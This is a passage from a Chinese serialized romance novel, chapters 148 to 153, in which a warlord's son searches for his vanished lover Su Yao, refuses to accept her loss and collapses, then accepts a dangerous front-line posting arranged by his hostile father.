陈施宁摇摇头，“你也别太担心，苏姚可能就是出来走走，被雨堵在什么地方了。” “我也这么想。” 萧纵立刻开口，许是刚才咳得太厉害，他嗓子有些哑，他侧头又咳了两声，声音才清亮了一些，加重了语气，“她走不了，一定会回来的。” 陈施宁原本还以为自己得劝好一会儿，没想到他竟然这么冷静，倒是省了他的言语。 “你能这么想就行。” 萧纵又抽了一根烟，才再次抬脚迈进雨里。 下百盛大大小小的店铺，足有几千家，路更是七拐八绕，走着走着就容易迷路。 但再混乱，地方也只有这么大，没多久，他们就和搜查的于修明碰了个正着。 似是知道萧纵要问什么，他不等人开口，就轻轻摇了摇。 萧纵停下脚步，没再往前，也没再开口，只又给自己点了根烟。 “还有那么多人呢，他没消息，就说明别人有。” 陈施宁安慰他，萧纵仍旧不说话，只看着雨幕，很快，混杂着雨声的脚步声就迅速靠近，是陈家的几个管事也搜到了这边。 陈施宁忍不住往前迎了一步，管事们却纷纷摇头。 陈施宁面露失望，仍旧强撑镇定，“没事，还有金锦呢，女人找女人，更容易……” 不等他话音落下，金锦的身影就出现在眼前，她身后还跟着几个淋成了落汤鸡的大兵，却并没有苏姚的身影。 这下，陈施宁也不知道该说什么了。 没有人找到苏姚。 虽然经过询问，下百盛的确有不少人见过她，却根本不知道她去了哪里。 她仿佛从这个混乱的地方忽然消失了一样，找不到线索，看不见痕迹。 “少帅……” 陈施宁斟酌着想说点什么，萧纵却忽然开口，“再给我搜，说不定，她是被抓起来了。” 第148章 自欺欺人 所有人都惊讶地看了过来。 陈施宁忍不住开口，“你发现什么线索了吗？” “如果不是被抓起来了，为什么找不到呢？” 萧纵反问，听得陈施宁有些不知道说什么好，但下百盛龙蛇混杂，这种事情也不是没可能。 “劳烦各位，原路搜回去，” 他叹了口气，朝众人拱了拱手，“这次要更仔细一些，箱子柜子大点的坛子，还有厨房茅房地窖之类的地方，都看仔细了，只要找到人，少帅和我，都有重赏。” 陈家的人自然给少主面子，高喝着答应下来，金锦和于修明也敬了个礼，转身离开了。 这次萧纵没有再去搜，但也没走，只站在原地，沉默着没动。 陈施宁给他撑着伞，静静陪着。 天色慢慢暗下来，雨却越来越大。 陈施宁裤子都湿了，冷得打了个哆嗦，浑身湿透的萧纵却毫无反应。 陈家的管事已经换了一批，找人的大兵也换了班，陈施宁换了个手撑伞。 “少帅，天都要黑了，不如……” 萧纵像是这才回神，仰头看了看暗沉的天空，“回去吧，说不定她已经回去了。” 陈施宁心里一喜，连忙附和，“对，咱们回去看看，就算没回去，别的地方也可能……” 话没来得及说完就被他咽了下去，他有些懊恼地拍了下自己的嘴，这种时候附和就好了，说别的干什么？ “不用这么小心，” 萧纵抹了把脸上的雨水，“她走不了的，我封死了她所有的路，就算她不想回来，也会被逼着回来的，什么都不用担心。” 陈施宁再次惊讶地看了他一眼，萧纵就是萧纵，旁人遇见这种事，早就方寸大乱，需要别人安慰了，他却比任何人都要冷静。 “对，那咱们回去等着。” 他附和一句，陪着萧纵上了车。 车子很快进了帅府，却不等停稳，萧纵就下了车，大步进了门。 不管是门口等着给他撑伞的官家，还是抓着伞追下来的陈施宁，都没来得及再给他遮雨，只能快步追了进去。 萧纵却停在了门口，并没有再往前走。 陈施宁透过他的肩头，看见了空荡荡的客厅，里头除了正在发呆的萧茵，再瞧不见一道影子。 很快，萧茵就察觉到他们回来了，从沙发上跳了下来，“大哥，苏姚呢？” “她会回来的。” 萧纵低语一声，抬脚进了门。 外头的天色已经彻底黑了，以往还能看见月色，可今天因为下雨，天空变成了纯粹的黑，仿佛要将人吞进去一样。 萧纵看了一眼，抬手拨了个电话。 很快，海城就亮了起来。 路灯也好，高门大户的门口也好，甚至于教堂里的灯也亮了起来。 这是海城最明亮的一夜。 陈施宁还当他是为了找人，并没有深究，劝着他赶紧去换衣裳。 管家也给陈施宁拿了一套，可等他换好衣裳回来的时候，萧纵仍旧湿漉漉地站在原地，正透过窗户看向外头。 管家小声禀报情况：“……今天宾客都到了，府里没准备，好在沈爷也在，帮着稳定了局面，将宾客都送回去了，回头怕是要一一赔礼道歉，他听说了府里的事，说沈家商行会帮着一起找人，他还留下了这个……” 管家将一张海报拿出来，上面的脸十分熟悉，却又透着股陌生。 那是上了妆的苏姚，光彩夺目。 萧纵被晃得眯了下眼睛，却看得十分出神，他总是忘，苏姚唱戏是很有天分的，在她登台几次之后，就有了名气和拥趸。 只是那点名气和天分，在他拥有的一切面前，太不值一提了。 所以，谁都没记得，连她自己也忘了。 指尖一颤，萧纵忍不住抬手轻抚，却留下了一片水痕。 他连忙收回手，“拿去印了，贴满海城。” 管家连忙答应一声，要退下去。 “等等。” 萧纵忽然又开口，管家连忙停下，“少帅还有吩咐？” “给她留一张，她肯定很喜欢。” 管家诧异地看他一眼，却只是答应了下来，随即再次转身离去。 萧纵的目光却一直追着他手里的海报，直到彻底消失，他才收回目光，通过帅府宽敞的庭院，看向灯火通明的海城。 苏姚，别闹了，该回来了。 天，都黑了…… 金乌升起，海城那亮了一宿的灯一盏盏灭了。 帅府客厅的那一盏，是最后灭的。 天亮了。 陈施宁在沙发上凑活了一宿，灯被管家关上的时候，他猛地惊醒了过来，一抬眼，却发现萧纵还维持着他睡前的姿势，就那么站在窗前看着外头。 身上的衣服也没换过，已经被他的体温烘干了，皱巴巴地贴在身上，下巴上也生了一圈胡茬。 “你一宿没睡啊？” 他开口，斟酌着劝他，“你也别太在意，苏姚之前不是也离家出走过吗？兴许这次也一样。” 萧纵的身体很明显地抖了一下，指尖无意识地摸向衣袋，却又硬生生止住了。 外头的搜查已经从下百盛扩展到了整个海城，到处都是苏姚的海报，所有人都知道，萧家少帅在找一个小戏子。 找到人赏一万大洋；提供线索一千；哪怕只是遇见过她，也能有赏钱。 平日里众人退避三舍的帅府大门，此时人山人海，数不清的人来求赏。 但很快，人就都散了。 因为金锦杀鸡儆猴，将一个撒谎骗赏钱的地痞打断了双腿。 瘆人的惨叫吓退了所有提供线索的人，一个都没留下。 帅府再次冷清起来，电话却又响了起来，是散出去找人的人在定时禀报，却没有一个人带回来好消息。 天色又慢慢暗了下去，然后再次亮了起来。 今天，是第三天了，仍旧没有半分苏姚的消息。 金锦裹着一身尘土进来，朝着他轻轻摇了摇头。 萧纵收回目光，似是对噩耗已经麻木，声音里没有情绪，“再去找。” 金锦却没离开，反倒走了过来，“少帅，三天都没消息，苏小姐说不定已经离开海城了……” “她怎么走？” 萧纵语气里的麻木陡然龟裂，他厉声开口，“海港戒严了，车站戒严了，所有出入口都重兵把守，对着海报一个个比对，你告诉我，她怎么走？” 他声音缓缓轻了下去，“她走不了的，走不了……” 金锦轻轻叹了口气，海城已经被翻了个底朝天，就算找只蚂蚁也该找到了，一个大活人怎么可能找不到？ 只有两种可能，要么人已经离开了，要么就是…… “少帅，” 她叹了口气，声音低了下去，“属下昨天盘问过司机，有个消息，你可能还不知道，那天其实苏小姐一上车，就发作了，现在已经三天了。” 第149章 失控 话她没有挑得更明白，但意思却很明显。 三天了，苏姚又没药，撑不过来的。 萧纵突兀地安静了下来，连起伏的胸腔都静止了一瞬。 “不可能。” 半晌，他才哑声开口，随即他像是生怕金锦不信一样，加重了语调，“不可能的！他一定是看错了，你想想，如果当时是发作了，她知道自己没带药，为什么不回来？就算她真的想走，难道非要那天不可吗？她没有理由的。” 金锦欲言又止，理是这么个理，可人心，哪里能一直讲道理？ “少帅，要不要把司机传过来问问？万一……” 金锦犹豫着开口，萧纵却一口回绝，“不用了，她没回来，只能证明她没事，她怕死又怕疼，如果真的出了问题，一定早就跑出来了。” 他深吸一口气，看向金锦，“去找人吧，她一定就藏在某个角落里，把她带回来。” 见他态度如此坚决，金锦没再说什么，敬了个礼就退了下去。 眼看着她出了门，萧纵的身体不受控制地晃了晃，陈施宁连忙来扶了他一把，“你歇一歇吧，两天没睡了。” 萧纵摇摇头，“我要等她回来，我要和她算账。” 陈施宁忍不住叹了口气，这两天他一直劝萧纵不要多想，可现在多想的反而是他了。 他看了眼金锦离开的方向，满脸都是欲言又止。 他也是见过苏姚发作时的样子的，如果苏姚出门的时候没带药，那说不准已经如同上次一样，晕倒在了什么地方。 三天了，怎么可能撑得过去啊。 “少帅，” 他还是斟酌着开了口，“苏姚的病多久发作一次？” 萧纵的身体肉眼可见地僵硬了起来。 多久发作一次吗？ 打从那次出事后，他就一直陪着苏姚住，他清楚的算过日子，隔得最长的一次，是…… 他思绪顿住，嘴唇上的血色一点点褪了下去。 最长的一次，是两天。 可现在，她已经失踪三天了。 看萧纵的反应，陈施宁就知道自己说到了重点，他叹息一声，抬手拍了拍萧纵的肩膀，“我知道你不愿意接受，但都已经这个样子了，就别再给自己添麻烦了……” “施宁，” 萧纵打断了他，语气分外平静，“她没回来，只能说明她没事，你要相信我。” 陈施宁错愕地看着他，他本来还以为萧纵冷静是好事，以为他没有太失态是因为理智还在。 可现在看来，他哪里是理智，这分明是偏执啊。 “少帅，你听我说，我们都知道苏姚……” 他极力试图说服他，肩膀却被抓住，萧纵垂眸看过来，语气无比笃定，“施宁，我不是感情用事的人，苏姚对我而言没那么重要，我还没到失去理智的地步，所以你要相信我的判断，她走不了的，她离不开我，她一定会回来的。” 陈施宁愣住，明明还有一肚子的话可以劝他，可此时却一个字都说不出来，他怔怔地看了萧纵许久，才叹息一声，“我知道了。” 萧纵轻轻吐了口气，紧绷的身体竟然放松了一些。 陈施宁心下五味杂陈，原来萧纵这样的人，也会逃避。 他越发不知道说什么好，只能也跟着叹了口气。 电话铃声忽然在这时候响了起来，陈施宁趁势退开两步，抬手去接了电话，可脸色很快就变了，他扭头看了眼萧纵，迟疑片刻后，还是开了口，“少帅，是伯父的电话。” 萧纵似是没反应过来，几秒后才走过来，却什么都没说，只拿过话筒，就将电话挂断了。 没多久，电话再次响了起来，萧纵再次挂断。 再响，再挂。 在萧纵又一次要挂断的时候，陈施宁拦住了他，“万一，伯父那里是有什么消息呢？” 萧纵挂断电话的手停在了半空，半晌，他还是放在了耳边，“有话就说。” “你个小畜生，竟然敢挂老子电话？！” 萧大帅冷厉又嫌恶的声音从听筒里传出来，“老子的脸都让你丢尽了，滚回老宅来，老子要教教你……” 话筒再次被挂断。 陈施宁也听见了话筒那边的声音，一时间十分尴尬。 他老子虽然有时候不着调，但比起萧远山来说，称职太多了，他不知道一个父亲怎么能对儿子这样深恶痛绝，更不知道父子间的关系，原来真的能比仇人还不如。 “我不该劝你。” 他低声道歉，萧纵拍了拍他的肩膀，示意没事，转身就要回到窗户前，可电话又响了起来。 这次没用陈施宁说什么，萧纵自己接了起来。 萧远山也没再说废话，“人在我这里，你自己过来。” 这次没等萧纵挂断，听筒里就先响起了忙音。 陈施宁脸色微变，“你不是信了吧？这一听就是假的。” “我当然知道，我不是说了吗？苏姚对我没那么重要，我没到失去理智的地步，” 萧纵转身回了窗前，重复道，“我知道是假的，我知道的。” 陈施宁松了口气，还好，还好萧纵虽然有点偏执，但理智还在。 但等天色又一次暗下来的时候，萧纵却毫无预兆地抬脚往外走。 陈施宁被吓了一个激灵，连忙起身去拦他，“你去哪里？” 萧纵避而不谈，“我很快回来。” 陈施宁不肯松手，“你以为你不说我就猜不到了？你疯了吗？你明知道是假的，你还去，你忘了之前你被……” “我没疯，我深思熟虑过的。” 萧纵打断了他，“你不要总觉得苏姚不见了会影响到我，我很冷静的，知道自己在做什么，别拦我。” 他说着仍旧往外走，陈施宁死死拦住他的路，原本就藏在肚子里的话，此时也再顾不上委婉，“萧纵，你给我清醒一点！我们都见过苏姚发作的样子，没有药她根本撑不过去，现在都三天了，就算她真的在你爹手里，她也熬不了这么久的，你去了有什么用？给她收尸吗？！” 第150章 她比以为的更重要 一句话，刺得萧纵浑身控制不住地战栗起来。 他狠狠揪住陈施宁的衣领，颤着嗓子怒吼：“我都说了不是因为苏姚，你为什么还要说这种话？我说过了，她没事，她没事！” 陈施宁一向好脾气，这次却没有再附和他，反而一拳打了过来：“你要自欺欺人到什么时候？！” 萧纵连着三天没合眼，被这一拳打得踉跄着后退两步，被台阶一绊，竟摔了下去。 陈施宁没有留情，大步追过来，骑在他身上也揪住了他的衣领，“萧纵，我们都知道苏姚没有药是什么下场，她不拿药就走，就是没打算回来，她就算没死在外头，也不可能回来的，你明明看懂了，你早就知道她不会回来了！” “闭嘴！” 本该力竭的人，却因为陈施宁这番话暴怒起来，他一个翻身将陈施宁压在了地上，抬手回敬了他一拳。 他低声嘶吼，“你根本不了解苏姚，你凭什么胡说八道？你不知道她胆子多小，你不知道她多怕死，她根本就不可能离开我！” “那她为什么没回来？！” 陈施宁扭住他的手腕，将他从身上扔了出去，也顾不得形象，张嘴吼了回去，“三天了，她如果想回来，爬也爬回来了，你看见她人了吗？！” “闭嘴！我让你闭嘴！” 萧纵双目猩红，一勾陈施宁的腿，将刚站起来的人瞬间拉倒，陈施宁重重摔在地上，被彻底激起了火气，手下不再留情，和萧纵打成了一团。 两人的动静很快就惊动了府里的人，警卫和佣人远远看着，却谁都不敢上前。 管家急得大叫，“别打了，少爷，陈少，别打了，受伤了可怎么好？” 他急得脑门都是汗，却无力阻止，很快，副楼那边也听见了动静，萧翼被扶着，慢慢从副楼走了出来，瞧见两人如此狼狈地互殴，脸上却都是漠然。 说好的喜事没办，他就算一直窝在副楼养伤，也能察觉到不对劲。 再加上这几天府里找人的动静那么大，他就是个聋子瞎子，也该知道发生了什么。 苏姚走了，没有拿药，至今都没回来。 他忽然就想起了那天苏姚的那个笑。 他当时没有感觉错，苏姚真的不对劲。 只是他没想到，她竟是想好了要离开，如此决绝，又悄无声息，一点挽回的余地都不给人留下。 “苏，姚……” 萧翼轻轻念了一声，尾音却迟迟不肯落下。 相处六年，这是他第一次喊苏姚的名字，也会是最后一次。 那个，他默默喜欢，却不敢宣之于口，连道别都没来得及的爱人…… 他弯下腰，默默捂住了胸膛，许久许久之后，才攒够力气站直身体，然后掏出了枪。 刺耳的鸣枪声响起，混战中的两个人僵住了身体。 萧翼扔了手枪，看向萧纵，“少帅，冷静一点。” 陈施宁率先爬了起来，眼睛都黑了，萧纵也没好到哪里去，嘴角都是血。 两人谁都没说话，许久后，萧纵才开口，“萧翼，你也觉得苏姚不会回来了吗？” “属下希望是这样。” “你说什么？” 萧纵像是没听懂，侧头看了过来，萧翼不闪不避，“总比，回不来的好吧。” 话音刚落，他似是再也克制不住，眼角瞬间湿了。 萧纵仿佛被烫了一下，他没有往前，反倒往后退了一步，“萧翼，你疯了吗？你一个大男人，没事哭什么？” 萧翼不说话，只是抬手捂住了脸，整个人都颤抖了起来，连他还没来得及痊愈的伤口也再次被挣开，殷红的血一点点浸透了纱布。 “别哭了。” 萧纵低喝一声，他看不得萧翼这幅样子，明明什么都没说，却又仿佛什么都说了。 压抑的痛哭声还在持续，萧纵拳头咔咔作响，“我让你闭嘴，别哭了！” 他又呵斥了一声，萧翼仍旧没有开口，却有一道抽泣声加了进来，萧纵缓缓转身，就见萧茵不知道什么时候出来了，就站在门口，她没有哭嚎，只是无声地掉着眼泪。 她终于也意识到，苏姚不会回来了。 那天，她把苏姚拦在了琴房门外，往后，她就再也不会靠近她一步。 “你怎么也哭了，” 萧纵哑声开口，“苏姚，又没事，你们哭什么……” 他张了张嘴，很想再呵斥一声，嗓子却仿佛被堵住了，他试了许久才终于找到自己的声音—— “都让你们，别再哭了……” 他艰难开口，声音却微弱得只有他自己听得见。 耳边仍旧是悲痛至极的哭声，连佣人也被感染，跟着低声啜泣起来。 一股巨大的恐慌感涌上来，他忽然就很想逃。 他不能再留在这里了，再待下去，他就也要信了这种瞎话。 他抬脚就钻进了车里。 陈施宁骂了一声，连忙也跟着钻了进去，一把摁住他的手，“你要去哪里？” “哪里都行，不能留在这里，不能了……” 萧纵喃喃开口，见他不是要去萧家老宅，陈施宁这才松了手。 车子一路疾驰，很快，陈施宁就认出了他们要去的地方——下百盛。 这里还有人在搜，看见萧纵又来，有人迎了上来，萧纵却充耳不闻，他只想找个安静的，没有人的地方，自己清净一下。 他不想听别人说话，更不想听别人哭。 但耳边的哭声却一声接着一声，片刻都不停歇。 别哭了，别哭了，别哭了…… 他用力甩了下头，一头扎进了一条巷子里。 巷子幽深狭长，仿佛怎么都走不到头，他不管不顾，闷头往前，可很快，他就发现眼前的情形过于熟悉。 然后，一道更熟悉的划痕映入眼帘，他的身体控制不住地一抖，这是苏姚留下的划痕。 他竟然钻进了这条巷子。 他转身就往回走，他不想留在这里，不想看见这些划痕。 他大步往前，可却好像怎么都走不出去了一样，明明之前找的时候，好久才能找到痕迹，现在却仿佛到处都是。 每看见一道，就要刺他一回。 就仿佛是苏姚透过车窗，看向自己的那毫无留恋的眼神。 脚步猛地顿住，身体控制不住地战栗起来。 他再没了自欺欺人的力气。 苏姚，你真的，不会回来了是不是？ 不回来就不回来吧，我根本没有那么…… 他极力想要欺骗自己，身体却一软，陈施宁连忙扶了他一把，却根本扶不住。 萧纵的身体仿佛一滩烂泥，跌坐在了满是泥污的地上。 一道更深的划痕却映入眼帘，深到连大雨都没能将划痕深处的血迹冲走。 仿佛不久前，这里就摔倒了一道单薄的身影，她在大雨里拼尽全力，却怎么都没能站起来…… 萧纵控制不住地颤抖起来，他看着那道划痕，几次伸手，却都不敢落下。 他错了。 他在乎苏姚，苏姚比他以为的，要重要得多。 为什么现在才发现？ 为什么到现在才发现？！ “苏姚……” 他唤着这两个字，喉咙里却没能发出任何声音。 陈施宁满眼担忧，“你说什么？” 萧纵用尽了力气，他想喊一声那个名字，可喉咙里只发出了“嗬嗬”的怪声。 苏姚，苏姚，苏姚…… 我为什么喊不出你的名字了…… 他无力地闭上嘴，颤抖着将脸颊贴了那道划痕。 苏姚…… 第151章 趁你病，要你命 耳边忽然传来陈施宁有些惊慌的叫喊声，萧纵听见了，却只觉得隔得很远，听不真切。 连他自己的呼吸声，都变得有些模糊缥缈，仿佛不是他自己在喘息一样。 这一刻，他仿佛变成了苏姚，感受着窒息的痛苦和无力，栽倒在泥潭里，再也爬不起来…… 陈施宁的声音很快尖锐起来，仿佛喊了什么人，下一瞬，就有嘈杂的脚步声在迅速靠近，萧纵却仍旧没有真实感，他沉静在苏姚的经历里，仿佛和整个世界都脱离了联系。 直到世界一片漆黑。 “少帅，你是喜欢手表，还是喜欢我呀？” 苏姚捧着手表盒子进来，却只让他看了一眼，就将盒子收了回去，俏皮又期待地看着他。 萧纵张了张嘴，我喜欢…… 可苏姚对面的男人却没动，他只是抬眼看过来，用那种冷漠的，鄙夷的眼神。 别这么看她…… 萧纵无声开口，你别这么看着她，她会消失的…… “别再让我听见这么无聊的话。” 苏姚对面的人终于开口，随即起身离开，只剩了苏姚一个人捧着手表站在原地。 她惊慌无措又茫然地站在原地，像一个明明什么都没做错，却被迁怒责骂的孩子。 萧纵心头骤然疼了起来，他一把抓住了要离开的人。 “这么对她，你会后悔的。” 他哑声开口，对方却只是冷冷看了过来，“利益至上的人，不是你吗？” 萧纵一窒，浑身僵住。 他从小接受的，就是利益至上的教育——算计，衡量，谋划。 可他不知道，感情原来这么重。 明明所有人都告诉他，感情不值一提，就算真的动了得喜欢的心思，也要徘在利益之后。 可现在，他才知道自己错得多离谱。 他错了。 呼吸逐渐艰涩，窒息的痛苦将他生生从昏睡中唤醒。 “少爷，你醒了？” 管家像是察觉到了他的异样，连忙过来查看。 萧纵挥开他的手，满脑子都是苏姚—— 她走了。 不是之前的离家出走，不是上次的危在旦夕。 而是真真切切地走了，彻底消失在了他的世界里。 心口空得发疼，他恍然有种，心脏被挖走的错觉，他抬手重重锤上胸腔。 脑海里却再次浮现出了那一道道划痕，他控制不住地战栗起来，刚扎进身体里的针被硬生生挤了出来。 葛大夫惊叫一声，“少帅，冷静，冷静！” 萧纵张了张嘴，很想说一句自己很冷静，可喉咙却仍旧没能发出任何声音。 他仿佛忽然就成了个哑巴。 楼下却忽然有什么声音响了起来，他听着十分耳熟，他很快意识到那是谁，起身就要下去，管家惊慌失措地想拦他，“少爷，您还烧着，别去，别下去……” 萧纵一把推开他，跌跌撞撞下了楼。 那声音逐渐清晰起来，对方似是听见了他的脚步声，扭头看过来，语气轻佻中透着挑衅，“哟，大哥，睡够了？” 萧纵扶着栏杆站稳身体，却没有理会他，反而将目光投向了沙发上的人。 萧远山大马金刀地坐着，身后六个副官一字排开，帅府的佣人们被惊得缩成一团，大气不敢出，萧茵战战兢兢地站在一旁，脸上带着个巴掌印。 这是来挑衅的，想必外头暂时进不来人了。 心神还没能从失去苏姚的痛苦里抽离，他却不得不逼着自己冷静下来。 “你……” 他张了张嘴，想质问萧远山来干什么，可一开口，却根本不成语调，他用力咳了几声，口腔里瞬间布满血腥味，甚至连嘴角都溢了出来。 “大哥，你病得不轻啊。” 萧承溜达过来，仰头看着萧纵，“刚好你需要养病，把萧茵给我玩玩呗。” 身体似是还在病中没有清醒，他眼前一阵阵发黑，却仍旧抬脚，稳稳踹在了萧承心口。 萧承猝不及防，摔倒在地，捂着胸口哀嚎起来，“爹，他打我！” 萧远山眯起眼睛，“搬出来太久，都忘了兄友弟恭，去，教教这小畜生规矩。” 两个副官立刻上前，指节捏得咔吧作响。 佣人们一阵惊慌，于修明和金锦连忙上前挡在萧纵跟前，“大帅，有话好好说。” 但并没有人在意他说什么，两个副官还是走了过来。 眼见情况不对，于修明立刻拔枪，对方却早有准备，一把摁住了他，四人立刻纠缠在了一起。 萧纵没有看他们，目光落在萧茵身上，“谁动的手？” 萧茵嘴唇动了动，却没开口。 萧承倒是笑起来，“我呀，哥哥教训妹妹，不是天经地义的吗？” 萧纵也笑了，好一个兄友弟恭，好一个天经地义…… 他弯腰，一把掐住了萧承的脖子，起初萧承还不屑一顾，但很快就意识到了不对劲，萧纵这像是真的想掐死他。 “爹，救我！” 他挣扎着求救，萧远山抬手就将手里的拐杖砸了过来，萧纵没躲，任由那东西砸在自己额头，鲜血顺着额角淌下，他仍旧死死掐着萧承的脖子，对方的脸色肉眼可见的紫胀起来。 萧远山的脸色终于变了，“还不去把他给我拉开！” 剩下的副官们一拥而上，将萧纵生生从萧承身上拔了下来。 萧纵也没再挣扎，任由几人将他压在地上。 萧远山怒不可遏，抬手就给了他一巴掌，“小畜生，这是你亲弟弟！” “你来，到底是为了什么？” 萧远山哼了一声，朝后面伸了伸手，副官立刻递了封调令过来，他抬手接过，拍在了萧纵胸膛上。 “看你最近清闲，给你申请了个差事。” 调令慢慢滑落，金锦离得近，率先看了一眼，却气得浑身都抖了起来—— “虎毒不食子，大帅，你这是想送少帅去死啊。” 和谈破裂，敌军两个师攻向南城，萧远山申请的这个调令，就是要让萧纵去狙击。 可萧家军的人马不可能都给萧纵，他甚至连自己的人手都不能全部带走，不然等他回来，这海城，就没有他的位置了。 以少打多，又毫无准备，怎么赢？ “趁他病，要他命。” 萧远山看了眼拐杖，萧承连忙捡起递过来。 他抬起拐杖，一下下敲在萧纵胸膛上，垂眸睥睨着他，“小畜生，老子教过你不要感情用事，你自己不长脑子，把机会送到了我面前，但凡你早点振作起来，这调令都发不下来，你可要记住这个教训。” 他笑了一声，又像是想起什么似的，补充道，“如果你还能活着回来的话。” “大不了，我们不跟总统合作了。” 金锦忍不住开口，却换来萧远山的又一声冷笑，“可以，我倒要看看，没了这层面子功夫，你撑不撑得过我们双方的围剿。” “你！” 金锦又是一抖，她就没见过这么歹毒的人。 萧纵却异常冷静，他挣开众人，拿起调令，“差事我接了。” 第152章 找她需要资本 萧远山眯起眼睛打量了他一眼，看起来对这个结果并不意外。 如今这情形，这调令，萧纵接也得接，不接也得接。 只是接不接，他的日子都不会好过。 他等着把萧纵的残部收回去就行了。 “萧远山，” 萧纵忽然开口，“你真以为，少了个女人，对我会有影响？” 他语气冰冷至极，五指却攥得死紧。 苏姚，我没这么想，这话你别当真，我没办法，我只能这么说…… “我本来就打算去的，送上门的青云梯，我怎么会不要？” 他静静看着面前的男人，“等我回来，我们，算总账。” 不知道是不是感受到了如同自己一般冷酷阴沉的气息，萧远山的面容竟然凝滞了一瞬，随即他仰头大笑起来，“就怕你回不来。” 萧纵没开口，仍旧看着他。 萧远山脸上的笑意慢慢凝固，他什么都没再说，喊了一声萧承，抬脚就要走。 “等等。” 萧纵忽然又开了口。 萧承揉着脖子，满是讥讽，“不会吧，你不会是要求饶了吧？” 萧纵没开口，只看了眼金锦，从小一起长大的默契，让金锦只是一个眼神，就看明白了他的意思，她上前，毫无预兆地一脚踹在了萧承膝窝上。 几个副官连忙上前，却被萧远山抬手拦住了，他倒要看看，萧纵想干什么。 “萧茵，还回来。” 萧纵哑声开口，萧茵愣住，她看看萧纵，又看看神情阴鸷癫狂的萧承，下意识想摇头。 萧纵加重了语气，“萧茵，苏姚不在，我过阵子也要离开，你还想指望谁？” 萧茵呆滞片刻，眼眶又红了，是了，是她把苏姚推走的。 这个世上，唯一没有血缘，没有利益，却仍旧愿意保护她的人。 她忽然之间，就有些憎恨自己，如果她更懂事一些，是不是事情就不会变成现在这样子？ 憎恨自己也是一种力量，她大步走过去，用尽力气，狠狠一巴掌打在萧承脸上。 萧承的脸涨成了猪肝色，孩子的力气比成年人差远了，但羞辱意味太重了，他只是想想，就觉得全身都要炸开了。 “小婊子！” 他咬牙开口，抬手就要去拔枪。 “行了。” 萧远山开口喊住了他，“过段日子，把人接回去再算账吧。” 他说的是萧纵死在外头之后。 萧承咬牙切齿地答应了一声，站起来跟在他身后出了门。 萧茵扑进金锦怀里，这次却没有掉眼泪。 “大哥，你会回来的，对吧？” 萧纵没开口，嘴角又溢出血来。 于修明连忙将他扶到沙发上坐下，拿了药箱给他处理伤口。 刚包扎完，外头就闯进来一辆车，随后又是一辆，陈施宁和褚英一前一后闯了进来。 “少帅醒了吗？我们刚得了一个消息，说你主动申请……” 陈施宁说着大步进了门，瞧见萧纵就坐在沙发上，话音一顿，随即快步走了过来，“你终于醒了，吓死我了，还以为你要烧傻了，不是，你头怎么了？” 陈施宁又惊又怒，这才注意到周围，“怎么乱成这样？发生什么了？” 褚英落后一步进来，一口打断了他的话，“现在别说这些屁话，少帅，你不是刚醒吗？怎么会申请这种你调令？到底怎么回事？这差事根本就是出力不讨好。” 萧纵将调令放在茶几上，“是老东西设计我。” 褚英立刻拿起来看了一眼，脸色很难看，“萧大帅这事情做得太不地道了。” 说着他又怨恨了起来，“都是苏姚，她如果不折腾这些事，哪会给人可乘之机？” “这话就过分了。” 陈施宁连忙打断他，虽然萧纵那天一直说，他没有因为苏姚失去理智，可他看得清楚，他分明已经陷到不可自拔的地步了，只是不自知而已。 褚英这时候说这种话，简直像是在萧纵伤口上撒盐。 “褚英，我们的交情，你还想要吗？” 萧纵点了根烟，却只抽了一口，就剧烈地咳嗽了起来，嘴角再次咳出了血沫。 陈施宁连忙把他的烟掐了，“养病呢，就别抽了。” 萧纵没计较那根烟，目光落在褚英身上，对方脸色僵硬，他没想到萧纵会问这么直白的一句话。 他拳头死死攥了起来，最后还是吐了口气，“我不提她了，你现在打算怎么办？” 萧纵这才收回目光，“当然是去啊。” “你疯了？” 褚英腾的站了起来，“万一输了怎么办？我们守好海城就够了，打仗这种事还是别掺和，得想办法把这差事推了……” “话不能这么说吧？” 陈施宁忍不住开口，“唇亡齿寒，总不能一直偏安一隅……” “你知道什么？！” 褚英开口呵斥，“我们不能承担任何风险，打仗那是傻子才去干的事，我们要做的就是……” “好了，” 萧纵打断了他的话，“当兵不打仗，还有什么用？” 这仗，他不光要打，还要赢，他还要找人呢，失去资本怎么行？ 褚英脸色一变，“少帅，你……” 萧纵没给他继续说下去的机会，“既然来了，就当是来给我践行的吧。” 话音未落，门口又进来个人，他抬头看了过来，就瞧见沈知聿站在门口。 他侧头咳了一声，“你也是来给我践行的？” 沈知聿顿了顿，随即才走过来，“准备了一些东西，原本以为你用不着，现在看来没有白费心思。” 他推了个单子过来，萧纵道了谢，沉默片刻后忽然开口，“那天，对不住了。” 第153章 各奔前程 他说的是那天自己心里有愧，却迁怒沈知聿的事，沈知聿没计较，拍了拍他的肩膀就站了起来，“我也是来辞行的，我打算出关一趟，不知道多久回来。” 萧纵抬头看他一眼，“保重，我也给你点东西。” 金锦应了一声，抬脚上了楼，很快就下来了，手里是一张通行证。 “要出关，铁定要经过封锁区，有这张通行证，能省很多麻烦。” 沈知聿眉眼微动，他送萧纵东西，不是为了换好处，但这东西的确是送到了他心坎上。 “多谢。” 话音落下，他将册子往萧纵跟前推了推，“你看看，还缺什么。” 萧纵没动手，倒是褚英拿过那册子看了起来，不等看完就骂了一句，“沈知聿，你猪脑子吗？你就不想想少帅这一走，海城还守不守得住？你不劝他就算了，还给这些东西拱火，他可是你沈家最大的靠山，你就不怕……” “我沈家，从来不靠别人。” 沈知聿冷声打断了他，“再说，国家兴亡匹夫有责，少帅愿意出战是好事，你我无权干涉。” “你！” 褚英被气得脸色涨红，眼神阴翳，眼见沈知聿油盐不进，他只能再次看向萧纵，“少帅，你要想清楚后果，我们明明可以坐收渔翁之利的，为什么非要掺和……” “好了。” 萧纵打断了他的话，“时间很紧，我要准备的事情还很多，你们都回吧，等我回来再聚。” “谁知道你还能不能……” 褚英脱口而出，但不等说完就被陈施宁呵斥了一句：“你够了！” 他一向是个老好人，此时脸色难得阴沉了下去。 褚英被堵住了话头，一时气急，他目光一一自三人脸上扫过，见三人谁都没有改口的意思，咬牙切齿地伸手指着他们，“行，你们一个个都拎不清是吧？我不管了！到时候你们别后悔！” 他转身就走，陈施宁看着他的背影直皱眉，末了还是叹了口气，“少帅，你别在意他的话，褚英喜欢钻营，我们都知道的。” 萧纵脸上没什么表情，只自顾自起身往楼上去，“你们也去吧，我要准备调兵了。” 沈知聿应了一声，“好，如果还缺什么，给我电话。” 他抬脚走了，陈施宁却有些放心不下，很想再劝萧纵几句，可看萧纵冷静理智的样子，又觉得自己想多了。 